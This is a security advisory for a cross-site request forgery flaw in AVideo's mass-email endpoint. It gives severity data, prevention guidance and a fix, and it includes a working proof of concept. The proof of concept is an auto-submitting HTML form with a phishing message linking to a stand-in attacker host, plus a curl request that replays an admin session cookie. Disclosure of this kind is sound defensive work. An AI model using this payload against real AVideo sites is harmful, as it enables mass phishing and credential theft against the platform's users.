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GHSA-c4xj-x7p8-3x7q CVE-2026-34611

AVideo: CSRF on emailAllUsers.json.php Enables Mass Phishing Email to All Users

Medium Packagist
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.16%
Chance of exploitation in the next 30 days. Higher than 5.18% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-352 Cross-Site Request Forgery (CSRF)
Fix
None yet
No fixed version published

Description

Summary

The AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address.

The endpoint does not call save() on any ORM object, which means the Referer/Origin domain validation implemented in ObjectYPT::save() is never triggered, leaving CSRF as the only required protection - and it is absent.

Details

The endpoint performs an admin check at line 10 but has no CSRF token validation:

// objects/emailAllUsers.json.php:10
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

The message body is taken directly from POST data at line 41:

// objects/emailAllUsers.json.php:41
$obj->message = $_POST['message'];

The message is rendered as HTML in the email at line 48:

// objects/emailAllUsers.json.php:48
$mail->msgHTML($obj->message);

When the email POST parameter is omitted, the endpoint defaults to sending to all registered users by calling User::getAllUsers(). This means the attacker does not need to know any email addresses.

The emails are sent through the platform's configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.

Proof of Concept

Host the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:

<!DOCTYPE html>
<html>
<head><title>AVI-038 PoC - CSRF Mass Email</title></head>
<body>
<h1>Please wait...</h1>
<form id="massmail" method="POST"
      action="https://your-avideo-instance.com/objects/emailAllUsers.json.php">

  <input type="hidden" name="subject" value="Important: Verify Your Account" />

  <textarea name="message" style="display:none">
    <h2>Account Verification Required</h2>
    <p>Your account requires re-verification due to a recent security update.</p>
    <p>Please <a href="https://attacker.example.com/phish">click here to verify</a>
       within 24 hours to avoid account suspension.</p>
    <p>Thank you,<br/>The Platform Team</p>
  </textarea>

  <!-- Omitting 'email' parameter causes it to send to ALL users -->
</form>

<script>document.getElementById('massmail').submit();</script>
</body>
</html>

Verification steps:

  1. Set up a test AVideo instance with at least two registered user accounts.
  2. Log in as an admin in one browser tab.
  3. Open the attacker HTML page in another tab in the same browser.
  4. Check the email inboxes of all registered users. Each will have received the phishing email from the platform's legitimate SMTP address.

Alternatively, test with curl using an admin session cookie:

curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/objects/emailAllUsers.json.php" \
  -d "subject=Test&message=<h1>PoC</h1><p>This email was sent to all users.</p>"

Impact

An attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin's session via CSRF. The emails originate from the platform's legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:

  • Mass phishing campaigns targeting all platform users with highly credible emails
  • Credential harvesting by directing users to attacker-controlled login pages
  • Malware distribution via HTML email payloads
  • Reputation damage to the platform operator

The attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.

  • CWE-352: Cross-Site Request Forgery

Recommended Fix

Add CSRF token validation at objects/emailAllUsers.json.php:13, after the admin check:

// objects/emailAllUsers.json.php:13
if (!isGlobalTokenValid()) {
    forbiddenPage('Invalid CSRF token');
    exit;
}

Found by aisafe.io

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-352: Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
  • Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
  • Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
  • Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
  • Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
  • Architecture and Design: Do not use the GET method for any request that triggers a state change.
  • Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
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